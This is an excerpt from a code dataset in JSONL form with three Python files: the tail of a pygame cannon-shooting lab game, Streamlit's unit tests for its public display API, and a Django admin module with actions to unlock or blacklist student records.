0\r\n\t\t#Other\r\n\t\tself.accelSpd = width\r\n\t\tself.projectiles = []\r\n\t\r\n\tdef update(self, dt):\r\n\t\t#Handles movement\r\n\t\tsuper().update(dt)\r\n\t\tif not self.mVel.isZero():\r\n\t\t\tself.friction(dt,width/3)\r\n\t\t#Handles cannonball objects, specially destroying them out of screen\r\n\t\tfor ball in self.projectiles:\r\n\t\t\tif ball.mPos[0] > width or ball.mPos[1] < 0 or ball.mPos[1] > height:\r\n\t\t\t\tself.projectiles.remove(ball)\r\n\t\t#Handles Inputs for cannon\r\n\t\teList = pygame.event.get()\r\n\t\tfor e in eList:\r\n\t\t\tif e.type == pygame.MOUSEBUTTONDOWN:\r\n\t\t\t\tif e.button == 1:\r\n\t\t\t\t\tself.shoot()\r\n\t\t\telif e.type == pygame.KEYDOWN:\r\n\t\t\t\tif e.key == pygame.K_SPACE:\r\n\t\t\t\t\tself.shoot()\r\n\t\t\telif e.type == pygame.QUIT:\r\n\t\t\t\treturn True\r\n\t\t\r\n\t\tkeys = pygame.key.get_pressed()\r\n\t\tif (keys[pygame.K_RIGHT] or keys[pygame.K_d]):\r\n\t\t\tself.accel(self.accelSpd,dt)\r\n\t\t\t\r\n\t\tif (keys[pygame.K_LEFT] or keys[pygame.K_a]):\r\n\t\t\tself.accel(-self.accelSpd,dt)\r\n\t\t\r\n\t\t#Restrict movements to screen\r\n\t\tif self.mPos[0] <= 0:\r\n\t\t\tself.mPos[0] = 1\r\n\t\t\tself.mVel[0] = 0\r\n\t\tif self.mPos[0] >= width-self.barrelRect[2]:\r\n\t\t\tself.mPos[0] = width-self.barrelRect[2]-1\r\n\t\t\tself.mVel[0] = 0\r\n\t\t\r\n\t\treturn False\r\n\tdef render(self,dt):\r\n\t\t\"\"\"Rotates barrelImg first, then draws barrel and finally draws cannon base\"\"\"\r\n\t\ttmp = self.rotate()\r\n\t\ttmpRect = tmp.get_rect()\r\n\t\ttmpVector = self.barrelOffset - math3d.VectorN((tmpRect[2],tmpRect[3]))/2\r\n\t\tscreen.blit(tmp, (self.mPos + tmpVector).iTuple())\r\n\t\tscreen.blit(self.img, self.mPos.iTuple())\r\n\t\t\r\n\tdef shoot(self):\r\n\t\t\"\"\"Creates a cannonball object at cannon tip with a random velocity\r\n\t\tin that angle\"\"\"\r\n\t\t#Position\r\n\t\tangle = math.radians(self.getAngle())\r\n\t\tcY = math.sin(angle) * self.barrelRect[2]/2\r\n\t\tcX = math.cos(angle) * self.barrelRect[2]/2\r\n\t\toffset = math3d.VectorN((cX,-cY)) + self.barrelOffset\r\n\t\tfinalPos = self.mPos + offset\r\n\t\t#velocity\r\n\t\tvelV = finalPos - self.mPos\r\n\t\tvelV = velV.normalized_copy() * random.uniform(350,700)\r\n\t\t#velV = math3d.VectorN((random.uniform(50,350),-random.uniform(50,350)))\r\n\t\tself.projectiles.append(cannonBall((finalPos[0],finalPos[1]), velV.iTuple()))\r\n\r\n\tdef getMousePos(self):\r\n\t\treturn pygame.mouse.get_pos()             #Returns in a tuple\r\n\t\t\r\n\tdef getAngle(self):\r\n\t\t\"\"\"Returns angle using mouse position and self.mPos\"\"\"\r\n\t\tmouseV = math3d.VectorN(self.getMousePos())\r\n\t\tnewV = mouseV - self.mPos\r\n\t\tangle = math.atan2(-newV.mData[1], newV.mData[0])\r\n\t\tangle = angle * (180/math.pi)\r\n\t\tif angle > 45:\r\n\t\t\tangle = 45\r\n\t\telif angle < 0:\r\n\t\t\tangle = 0\r\n\t\treturn angle\r\n\t\t\r\n\tdef rotate(self):\r\n\t\trotImg = pygame.transform.rotate(self.barrelImg, self.getAngle())\r\n\t\treturn rotImg\r\n\r\n#====================Game==================\r\n\r\npygame.display.init()\r\n\r\nsize = width, height = 800,600\r\nclock = pygame.time.Clock()\r\ndone = False\r\n\r\nscreen = pygame.display.set_mode(size)\r\n\r\nC = cannon((width/2,height*.7),(0,0))\r\n\r\nwhile not done:\r\n\t#Update\r\n\tdt = clock.tick()/1000\r\n\tdone = C.update(dt)\r\n\t\t\r\n\tfor ball in C.projectiles:\r\n\t\tball.update(dt)\r\n\t\t\r\n\tkeys = pygame.key.get_pressed()\r\n\tif keys[pygame.K_ESCAPE]:\r\n\t\tdone = True\r\n\t\t\r\n\t#Draw\r\n\tbgColor = 0, 0, 0\r\n\tscreen.fill(bgColor)\r\n\tC.render(dt)\r\n\tfor ball in C.projectiles:\r\n\t\tball.render(dt)\r\n\t\t\r\n\tpygame.display.flip()\r\n\t\r\npygame.display.quit()\r\n\t","sub_path":"Lab 3 - Cannon Pygame/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":5662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"59837978","text":"# Copyright (c) Streamlit Inc. (2018-2022) Snowflake Inc. (2022)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Streamlit Unit test.\"\"\"\n\nimport json\nimport logging\nimport os\nimport re\nimport sys\nimport textwrap\nimport time\nimport unittest\nfrom unittest.mock import patch\n\nimport numpy as np\nimport pandas as pd\nfrom google.protobuf import json_format\nfrom parameterized import parameterized\n\nimport streamlit as st\nfrom streamlit import __version__\nfrom streamlit.errors import StreamlitAPIException\nfrom streamlit.logger import get_logger\nfrom streamlit.proto.Alert_pb2 import Alert\nfrom streamlit.proto.Empty_pb2 import Empty as EmptyProto\nfrom tests import testutil\n\n\ndef get_version():\n    \"\"\"Get version by parsing out setup.py.\"\"\"\n    dirname = os.path.dirname(__file__)\n    base_dir = os.path.abspath(os.path.join(dirname, \"../..\"))\n    pattern = re.compile(r\"(?:.*VERSION = \\\")(?P<version>.*)(?:\\\"  # PEP-440$)\")\n    for line in open(os.path.join(base_dir, \"setup.py\")).readlines():\n        m = pattern.match(line)\n        if m:\n            return m.group(\"version\")\n\n\nclass StreamlitTest(unittest.TestCase):\n    \"\"\"Test Streamlit.__init__.py.\"\"\"\n\n    def test_streamlit_version(self):\n        \"\"\"Test streamlit.__version__.\"\"\"\n        self.assertEqual(__version__, get_version())\n\n    def test_get_option(self):\n        \"\"\"Test streamlit.get_option.\"\"\"\n        # This is set in lib/tests/conftest.py to False\n        self.assertEqual(False, st.get_option(\"browser.gatherUsageStats\"))\n\n    def test_set_option_scriptable(self):\n        \"\"\"Test that scriptable options can be set from API.\"\"\"\n        # This is set in lib/tests/conftest.py to off\n        self.assertEqual(True, st.get_option(\"client.displayEnabled\"))\n\n        try:\n            # client.displayEnabled and client.caching can be set after run starts.\n            st.set_option(\"client.displayEnabled\", False)\n            self.assertEqual(False, st.get_option(\"client.displayEnabled\"))\n        finally:\n            # Restore original value\n            st.set_option(\"client.displayEnabled\", True)\n\n    def test_set_option_unscriptable(self):\n        \"\"\"Test that unscriptable options cannot be set with st.set_option.\"\"\"\n        # This is set in lib/tests/conftest.py to off\n        self.assertEqual(True, st.get_option(\"server.enableCORS\"))\n\n        with self.assertRaises(StreamlitAPIException):\n            st.set_option(\"server.enableCORS\", False)\n\n    def test_run_warning_presence(self):\n        \"\"\"Using Streamlit without `streamlit run` produces a warning.\"\"\"\n        with self.assertLogs(level=logging.WARNING) as logs:\n            st._is_running_with_streamlit = False\n            st._use_warning_has_been_displayed = False\n            st.write(\"Using delta generator\")\n            output = \"\".join(logs.output)\n            # Warning produced exactly once\n            self.assertEqual(len(re.findall(r\"streamlit run\", output)), 1)\n\n    def test_run_warning_absence(self):\n        \"\"\"Using Streamlit through the CLI produces no usage warning.\"\"\"\n        with self.assertLogs(level=logging.WARNING) as logs:\n            st._is_running_with_streamlit = True\n            st._use_warning_has_been_displayed = False\n            st.write(\"Using delta generator\")\n            # assertLogs is being used as a context manager, but it also checks that some log output was captured, so we have to let it capture something\n            get_logger(\"root\").warning(\"irrelevant warning so assertLogs passes\")\n            self.assertNotRegex(\"\".join(logs.output), r\"streamlit run\")\n\n\nclass StreamlitAPITest(testutil.DeltaGeneratorTestCase):\n    \"\"\"Test Public Streamlit Public APIs.\"\"\"\n\n    def test_st_legacy_altair_chart(self):\n        \"\"\"Test st._legacy_altair_chart.\"\"\"\n        import altair as alt\n\n        df = pd.DataFrame(np.random.randn(3, 3), columns=[\"a\", \"b\", \"c\"])\n\n        c = (\n            alt.Chart(df)\n            .mark_circle()\n            .encode(x=\"a\", y=\"b\", size=\"c\", color=\"c\")\n            .interactive()\n        )\n        st._legacy_altair_chart(c)\n\n        el = self.get_delta_from_queue().new_element\n        spec = json.loads(el.vega_lite_chart.spec)\n\n        # Checking Vega-Lite is a lot of work so rather than doing that, we\n        # just checked to see if the spec data name matches the dataset.\n        self.assertEqual(\n            spec.get(\"data\").get(\"name\"), el.vega_lite_chart.datasets[0].name\n        )\n\n    def test_st_arrow_altair_chart(self):\n        \"\"\"Test st._arrow_altair_chart.\"\"\"\n        import altair as alt\n\n        df = pd.DataFrame(np.random.randn(3, 3), columns=[\"a\", \"b\", \"c\"])\n\n        c = (\n            alt.Chart(df)\n            .mark_circle()\n            .encode(x=\"a\", y=\"b\", size=\"c\", color=\"c\")\n            .interactive()\n        )\n        st._arrow_altair_chart(c)\n\n        proto = self.get_delta_from_queue().new_element.arrow_vega_lite_chart\n        spec = json.loads(proto.spec)\n\n        # Checking Vega-Lite is a lot of work so rather than doing that, we\n        # just checked to see if the spec data name matches the dataset.\n        self.assertEqual(spec.get(\"data\").get(\"name\"), proto.datasets[0].name)\n\n    def test_st_legacy_area_chart(self):\n        \"\"\"Test st._legacy_area_chart.\"\"\"\n        df = pd.DataFrame([[10, 20, 30]], columns=[\"a\", \"b\", \"c\"])\n        st._legacy_area_chart(df, width=640, height=480)\n\n        el = self.get_delta_from_queue().new_element.vega_lite_chart\n        chart_spec = json.loads(el.spec)\n        self.assertEqual(chart_spec[\"mark\"], \"area\")\n        self.assertEqual(chart_spec[\"width\"], 640)\n        self.assertEqual(chart_spec[\"height\"], 480)\n        self.assertEqual(\n            el.datasets[0].data.columns.plain_index.data.strings.data,\n            [\"index\", \"variable\", \"value\"],\n        )\n\n        data = json.loads(json_format.MessageToJson(el.datasets[0].data.data))\n        result = [x[\"int64s\"][\"data\"] for x in data[\"cols\"] if \"int64s\" in x]\n        self.assertEqual(result[1], [\"10\", \"20\", \"30\"])\n\n    def test_st_arrow_area_chart(self):\n        \"\"\"Test st._arrow_area_chart.\"\"\"\n        from streamlit.type_util import bytes_to_data_frame\n\n        df = pd.DataFrame([[10, 20, 30]], columns=[\"a\", \"b\", \"c\"])\n        EXPECTED_DATAFRAME = pd.DataFrame(\n            [[0, \"a\", 10], [0, \"b\", 20], [0, \"c\", 30]],\n            index=[0, 1, 2],\n            columns=[\"index\", \"variable\", \"value\"],\n        )\n        st._arrow_area_chart(df, width=640, height=480)\n\n        proto = self.get_delta_from_queue().new_element.arrow_vega_lite_chart\n        chart_spec = json.loads(proto.spec)\n\n        self.assertEqual(chart_spec[\"mark\"], \"area\")\n        self.assertEqual(chart_spec[\"width\"], 640)\n        self.assertEqual(chart_spec[\"height\"], 480)\n        pd.testing.assert_frame_equal(\n            bytes_to_data_frame(proto.datasets[0].data.data),\n            EXPECTED_DATAFRAME,\n        )\n\n    def test_st_balloons(self):\n        \"\"\"Test st.balloons.\"\"\"\n        st.balloons()\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.balloons.show, True)\n\n    def test_st_legacy_bar_chart(self):\n        \"\"\"Test st._legacy_bar_chart.\"\"\"\n        df = pd.DataFrame([[10, 20, 30]], columns=[\"a\", \"b\", \"c\"])\n\n        st._legacy_bar_chart(df, width=640, height=480)\n\n        el = self.get_delta_from_queue().new_element.vega_lite_chart\n        chart_spec = json.loads(el.spec)\n        self.assertEqual(chart_spec[\"mark\"], \"bar\")\n        self.assertEqual(chart_spec[\"width\"], 640)\n        self.assertEqual(chart_spec[\"height\"], 480)\n        self.assertEqual(\n            el.datasets[0].data.columns.plain_index.data.strings.data,\n            [\"index\", \"variable\", \"value\"],\n        )\n\n        data = json.loads(json_format.MessageToJson(el.datasets[0].data.data))\n        result = [x[\"int64s\"][\"data\"] for x in data[\"cols\"] if \"int64s\" in x]\n\n        self.assertEqual(result[1], [\"10\", \"20\", \"30\"])\n\n    def test_st_arrow_bar_chart(self):\n        \"\"\"Test st._arrow_bar_chart.\"\"\"\n        from streamlit.type_util import bytes_to_data_frame\n\n        df = pd.DataFrame([[10, 20, 30]], columns=[\"a\", \"b\", \"c\"])\n        EXPECTED_DATAFRAME = pd.DataFrame(\n            [[0, \"a\", 10], [0, \"b\", 20], [0, \"c\", 30]],\n            index=[0, 1, 2],\n            columns=[\"index\", \"variable\", \"value\"],\n        )\n\n        st._arrow_bar_chart(df, width=640, height=480)\n\n        proto = self.get_delta_from_queue().new_element.arrow_vega_lite_chart\n        chart_spec = json.loads(proto.spec)\n\n        self.assertEqual(chart_spec[\"mark\"], \"bar\")\n        self.assertEqual(chart_spec[\"width\"], 640)\n        self.assertEqual(chart_spec[\"height\"], 480)\n        pd.testing.assert_frame_equal(\n            bytes_to_data_frame(proto.datasets[0].data.data),\n            EXPECTED_DATAFRAME,\n        )\n\n    def test_st_code(self):\n        \"\"\"Test st.code.\"\"\"\n        st.code(\"print('My string = %d' % my_value)\", language=\"python\")\n        expected = textwrap.dedent(\n            \"\"\"\n            ```python\n            print('My string = %d' % my_value)\n            ```\n        \"\"\"\n        )\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.markdown.body, expected.strip())\n\n    def test_st_legacy_dataframe(self):\n        \"\"\"Test st._legacy_dataframe.\"\"\"\n        df = pd.DataFrame({\"one\": [1, 2], \"two\": [11, 22]})\n\n        st._legacy_dataframe(df)\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.data_frame.data.cols[0].int64s.data, [1, 2])\n        self.assertEqual(\n            el.data_frame.columns.plain_index.data.strings.data, [\"one\", \"two\"]\n        )\n\n    def test_st_arrow_dataframe(self):\n        \"\"\"Test st._arrow_dataframe.\"\"\"\n        from streamlit.type_util import bytes_to_data_frame\n\n        df = pd.DataFrame({\"one\": [1, 2], \"two\": [11, 22]})\n\n        st._arrow_dataframe(df)\n\n        proto = self.get_delta_from_queue().new_element.arrow_data_frame\n        pd.testing.assert_frame_equal(bytes_to_data_frame(proto.data), df)\n\n    def test_st_empty(self):\n        \"\"\"Test st.empty.\"\"\"\n        st.empty()\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.empty, EmptyProto())\n\n    def test_st_error(self):\n        \"\"\"Test st.error.\"\"\"\n        st.error(\"some error\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.alert.body, \"some error\")\n        self.assertEqual(el.alert.format, Alert.ERROR)\n\n    def test_st_error_with_icon(self):\n        \"\"\"Test st.error with icon.\"\"\"\n        st.error(\"some error\", icon=\"😱\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.alert.body, \"some error\")\n        self.assertEqual(el.alert.icon, \"😱\")\n        self.assertEqual(el.alert.format, Alert.ERROR)\n\n    @parameterized.expand([(True,), (False,)])\n    def test_st_exception(self, show_error_details: bool):\n        \"\"\"Test st.exception.\"\"\"\n        # client.showErrorDetails has no effect on code that calls\n        # st.exception directly. This test should have the same result\n        # regardless fo the config option.\n        with testutil.patch_config_options(\n            {\"client.showErrorDetails\": show_error_details}\n        ):\n            e = RuntimeError(\"Test Exception\")\n            st.exception(e)\n\n            el = self.get_delta_from_queue().new_element\n            self.assertEqual(el.exception.type, \"RuntimeError\")\n            self.assertEqual(el.exception.message, \"Test Exception\")\n            # We will test stack_trace when testing\n            # streamlit.elements.exception_element\n            self.assertEqual(el.exception.stack_trace, [])\n\n    def test_st_header(self):\n        \"\"\"Test st.header.\"\"\"\n        st.header(\"some header\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.heading.body, \"some header\")\n        self.assertEqual(el.heading.tag, \"h2\")\n\n    def test_st_header_with_anchor(self):\n        \"\"\"Test st.header with anchor.\"\"\"\n        st.header(\"some header\", anchor=\"some-anchor\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.heading.body, \"some header\")\n        self.assertEqual(el.heading.tag, \"h2\")\n        self.assertEqual(el.heading.anchor, \"some-anchor\")\n\n    def test_st_help(self):\n        \"\"\"Test st.help.\"\"\"\n        st.help(st.header)\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.doc_string.name, \"header\")\n        self.assertEqual(el.doc_string.module, \"streamlit\")\n        self.assertTrue(\n            el.doc_string.doc_string.startswith(\"Display text in header formatting.\")\n        )\n        self.assertEqual(el.doc_string.type, \"<class 'method'>\")\n        if sys.version_info < (3, 9):\n            # Python < 3.9 represents the signature slightly differently\n            self.assertEqual(\n                el.doc_string.signature,\n                \"(body: object, anchor: Union[str, NoneType] = None) -> 'DeltaGenerator'\",\n            )\n        else:\n            self.assertEqual(\n                el.doc_string.signature,\n                \"(body: object, anchor: Optional[str] = None) -> 'DeltaGenerator'\",\n            )\n\n    def test_st_info(self):\n        \"\"\"Test st.info.\"\"\"\n        st.info(\"some info\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.alert.body, \"some info\")\n        self.assertEqual(el.alert.format, Alert.INFO)\n\n    def test_st_info_with_icon(self):\n        \"\"\"Test st.info with icon.\"\"\"\n        st.info(\"some info\", icon=\"👉🏻\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.alert.body, \"some info\")\n        self.assertEqual(el.alert.icon, \"👉🏻\")\n        self.assertEqual(el.alert.format, Alert.INFO)\n\n    def test_st_json(self):\n        \"\"\"Test st.json.\"\"\"\n        st.json('{\"some\": \"json\"}')\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.json.body, '{\"some\": \"json\"}')\n\n        # Test that an object containing non-json-friendly keys can still\n        # be displayed.  Resultant json body will be missing those keys.\n\n        n = np.array([1, 2, 3, 4, 5])\n        data = {n[0]: \"this key will not render as JSON\", \"array\": n}\n        st.json(data)\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.json.body, '{\"array\": \"array([1, 2, 3, 4, 5])\"}')\n\n    def test_st_legacy_line_chart(self):\n        \"\"\"Test st._legacy_line_chart.\"\"\"\n        df = pd.DataFrame([[10, 20, 30]], columns=[\"a\", \"b\", \"c\"])\n        st._legacy_line_chart(df, width=640, height=480)\n\n        el = self.get_delta_from_queue().new_element.vega_lite_chart\n        chart_spec = json.loads(el.spec)\n        self.assertEqual(chart_spec[\"mark\"], \"line\")\n        self.assertEqual(chart_spec[\"width\"], 640)\n        self.assertEqual(chart_spec[\"height\"], 480)\n\n        self.assertEqual(\n            el.datasets[0].data.columns.plain_index.data.strings.data,\n            [\"index\", \"variable\", \"value\"],\n        )\n\n        data = json.loads(json_format.MessageToJson(el.datasets[0].data.data))\n        result = [x[\"int64s\"][\"data\"] for x in data[\"cols\"] if \"int64s\" in x]\n\n        self.assertEqual(result[1], [\"10\", \"20\", \"30\"])\n\n    def test_st_arrow_line_chart(self):\n        \"\"\"Test st._arrow_line_chart.\"\"\"\n        from streamlit.type_util import bytes_to_data_frame\n\n        df = pd.DataFrame([[10, 20, 30]], columns=[\"a\", \"b\", \"c\"])\n        EXPECTED_DATAFRAME = pd.DataFrame(\n            [[0, \"a\", 10], [0, \"b\", 20], [0, \"c\", 30]],\n            index=[0, 1, 2],\n            columns=[\"index\", \"variable\", \"value\"],\n        )\n        st._arrow_line_chart(df, width=640, height=480)\n\n        proto = self.get_delta_from_queue().new_element.arrow_vega_lite_chart\n        chart_spec = json.loads(proto.spec)\n\n        self.assertEqual(chart_spec[\"mark\"], \"line\")\n        self.assertEqual(chart_spec[\"width\"], 640)\n        self.assertEqual(chart_spec[\"height\"], 480)\n        pd.testing.assert_frame_equal(\n            bytes_to_data_frame(proto.datasets[0].data.data),\n            EXPECTED_DATAFRAME,\n        )\n\n    def test_st_markdown(self):\n        \"\"\"Test st.markdown.\"\"\"\n        st.markdown(\"    some markdown  \")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.markdown.body, \"some markdown\")\n\n        # test the unsafe_allow_html keyword\n        st.markdown(\"    some markdown  \", unsafe_allow_html=True)\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.markdown.body, \"some markdown\")\n        self.assertTrue(el.markdown.allow_html)\n\n    def test_st_progress(self):\n        \"\"\"Test st.progress.\"\"\"\n        st.progress(51)\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.progress.value, 51)\n\n    def test_st_spinner(self):\n        \"\"\"Test st.spinner.\"\"\"\n        with st.spinner(\"some text\"):\n            # Without the timeout, the spinner is sometimes not available\n            time.sleep(0.2)\n            el = self.get_delta_from_queue().new_element\n            self.assertEqual(el.spinner.text, \"some text\")\n\n    def test_st_plotly_chart_simple(self):\n        \"\"\"Test st.plotly_chart.\"\"\"\n        import plotly.graph_objs as go\n\n        trace0 = go.Scatter(x=[1, 2, 3, 4], y=[10, 15, 13, 17])\n\n        data = [trace0]\n\n        st.plotly_chart(data)\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.plotly_chart.HasField(\"url\"), False)\n        self.assertNotEqual(el.plotly_chart.figure.spec, \"\")\n        self.assertNotEqual(el.plotly_chart.figure.config, \"\")\n        self.assertEqual(el.plotly_chart.use_container_width, False)\n\n    def test_st_plotly_chart_use_container_width_true(self):\n        \"\"\"Test st.plotly_chart.\"\"\"\n        import plotly.graph_objs as go\n\n        trace0 = go.Scatter(x=[1, 2, 3, 4], y=[10, 15, 13, 17])\n\n        data = [trace0]\n\n        st.plotly_chart(data, use_container_width=True)\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.plotly_chart.HasField(\"url\"), False)\n        self.assertNotEqual(el.plotly_chart.figure.spec, \"\")\n        self.assertNotEqual(el.plotly_chart.figure.config, \"\")\n        self.assertEqual(el.plotly_chart.use_container_width, True)\n\n    def test_st_plotly_chart_sharing(self):\n        \"\"\"Test st.plotly_chart when sending data to Plotly's service.\"\"\"\n        import plotly.graph_objs as go\n\n        trace0 = go.Scatter(x=[1, 2, 3, 4], y=[10, 15, 13, 17])\n\n        data = [trace0]\n\n        with patch(\n            \"streamlit.elements.plotly_chart.\" \"_plot_to_url_or_load_cached_url\"\n        ) as plot_patch:\n            plot_patch.return_value = \"the_url\"\n            st.plotly_chart(data, sharing=\"public\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.plotly_chart.HasField(\"figure\"), False)\n        self.assertNotEqual(el.plotly_chart.url, \"the_url\")\n        self.assertEqual(el.plotly_chart.use_container_width, False)\n\n    def test_st_subheader(self):\n        \"\"\"Test st.subheader.\"\"\"\n        st.subheader(\"some subheader\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.heading.body, \"some subheader\")\n        self.assertEqual(el.heading.tag, \"h3\")\n\n    def test_st_subheader_with_anchor(self):\n        \"\"\"Test st.subheader with anchor.\"\"\"\n        st.subheader(\"some subheader\", anchor=\"some-anchor\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.heading.body, \"some subheader\")\n        self.assertEqual(el.heading.tag, \"h3\")\n        self.assertEqual(el.heading.anchor, \"some-anchor\")\n\n    def test_st_success(self):\n        \"\"\"Test st.success.\"\"\"\n        st.success(\"some success\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.alert.body, \"some success\")\n        self.assertEqual(el.alert.format, Alert.SUCCESS)\n\n    def test_st_success_with_icon(self):\n        \"\"\"Test st.success with icon.\"\"\"\n        st.success(\"some success\", icon=\"✅\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.alert.body, \"some success\")\n        self.assertEqual(el.alert.icon, \"✅\")\n        self.assertEqual(el.alert.format, Alert.SUCCESS)\n\n    def test_st_legacy_table(self):\n        \"\"\"Test st._legacy_table.\"\"\"\n        df = pd.DataFrame([[1, 2], [3, 4]], columns=[\"col1\", \"col2\"])\n\n        st._legacy_table(df)\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.table.data.cols[0].int64s.data, [1, 3])\n        self.assertEqual(el.table.data.cols[1].int64s.data, [2, 4])\n        self.assertEqual(\n            el.table.columns.plain_index.data.strings.data, [\"col1\", \"col2\"]\n        )\n\n    def test_st_arrow_table(self):\n        \"\"\"Test st._arrow_table.\"\"\"\n        from streamlit.type_util import bytes_to_data_frame\n\n        df = pd.DataFrame([[1, 2], [3, 4]], columns=[\"col1\", \"col2\"])\n\n        st._arrow_table(df)\n\n        proto = self.get_delta_from_queue().new_element.arrow_table\n        pd.testing.assert_frame_equal(bytes_to_data_frame(proto.data), df)\n\n    def test_st_text(self):\n        \"\"\"Test st.text.\"\"\"\n        st.text(\"some text\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.text.body, \"some text\")\n\n    def test_st_title(self):\n        \"\"\"Test st.title.\"\"\"\n        st.title(\"some title\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.heading.body, \"some title\")\n        self.assertEqual(el.heading.tag, \"h1\")\n\n    def test_st_title_with_anchor(self):\n        \"\"\"Test st.title with anchor.\"\"\"\n        st.title(\"some title\", anchor=\"some-anchor\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.heading.body, \"some title\")\n        self.assertEqual(el.heading.tag, \"h1\")\n        self.assertEqual(el.heading.anchor, \"some-anchor\")\n\n    def test_st_legacy_vega_lite_chart(self):\n        \"\"\"Test st._legacy_vega_lite_chart.\"\"\"\n        pass\n\n    def test_st_warning(self):\n        \"\"\"Test st.warning.\"\"\"\n        st.warning(\"some warning\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.alert.body, \"some warning\")\n        self.assertEqual(el.alert.format, Alert.WARNING)\n\n    def test_st_warning_with_icon(self):\n        \"\"\"Test st.warning with icon.\"\"\"\n        st.warning(\"some warning\", icon=\"⚠️\")\n\n        el = self.get_delta_from_queue().new_element\n        self.assertEqual(el.alert.body, \"some warning\")\n        self.assertEqual(el.alert.icon, \"⚠️\")\n        self.assertEqual(el.alert.format, Alert.WARNING)\n\n    @parameterized.expand([(st.error,), (st.warning,), (st.info,), (st.success,)])\n    def test_st_alert_exceptions(self, alert_func):\n        \"\"\"Test that alert functions throw an exception when a non-emoji is given as an icon.\"\"\"\n        with self.assertRaises(StreamlitAPIException):\n            alert_func(\"some alert\", icon=\"hello world\")\n","sub_path":"lib/tests/streamlit/streamlit_test.py","file_name":"streamlit_test.py","file_ext":"py","file_size_in_byte":23376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"293509188","text":"import logging\n\nfrom django.contrib import admin\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.utils.encoding import force_text\n\nfrom .models import Entry, OverrideEntry, Record\n\nlogger = logging.getLogger('admin')\n\n\nclass EntryAdmin(admin.ModelAdmin):\n    list_display = ('dpt_code', 'kind', 'name')\n    ordering = ('dpt_code',)\n    search_fields = ('name',)\n\n\nclass OverrideEntryAdmin(admin.ModelAdmin):\n    list_display = ('student_id', 'kind')\n    ordering = ('student_id',)\n    search_fields = ('student_id',)\n\n\nclass RecordAdmin(admin.ModelAdmin):\n    readonly_fields = ('student_id', 'revision', 'state')\n    actions = ('unlock', 'apply_blacklist')\n    list_filter = ('state',)\n    search_fields = ('student_id',)\n\n    def unlock(self, request, records):\n        \"\"\"\n        Unlock selected students which must be lock state.\n        \"\"\"\n        records.update(state=Record.AVAILABLE)\n        for record in records:\n            admin.models.LogEntry.objects.log_action(\n                user_id=request.user.pk,\n                content_type_id=ContentType.objects.get(model='record').id,\n                object_id=record.pk,\n                object_repr=force_text(record),\n                action_flag=admin.models.CHANGE,\n                change_message='Record was unlocked by {}'.format(request.user.username),\n            )\n            logger.info('Record [%s] was set to available (was #%s)', record.student_id, record.pk)\n\n    def apply_blacklist(self, request, records):\n        \"\"\"\n        Apply some student to black list.\n        \"\"\"\n        for record in records:\n            record.state = Record.UNAVAILABLE\n            record.save()\n            admin.models.LogEntry.objects.log_action(\n                user_id=request.user.pk,\n                content_type_id=ContentType.objects.get(model='record').id,\n                object_id=record.pk,\n                object_repr=force_text(record),\n                action_flag=admin.models.CHANGE,\n                change_message='Record was locked by {}'.format(request.user.username),\n            )\n            logger.info('Record [{record}] was blacklisted.'.format(\n                record=record.student_id\n            ))\n\n    def get_actions(self, request):\n        \"\"\"\n        disable default action 'delete_selected'\n        \"\"\"\n        actions = super().get_actions(request)\n        if 'delete_selected' in actions:\n            del actions['delete_selected']\n        return actions\n\n\nadmin.site.register(OverrideEntry, OverrideEntryAdmin)\nadmin.site.register(Entry, EntryAdmin)\nadmin.site.register(Record, RecordAdmin)\n","sub_path":"core/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
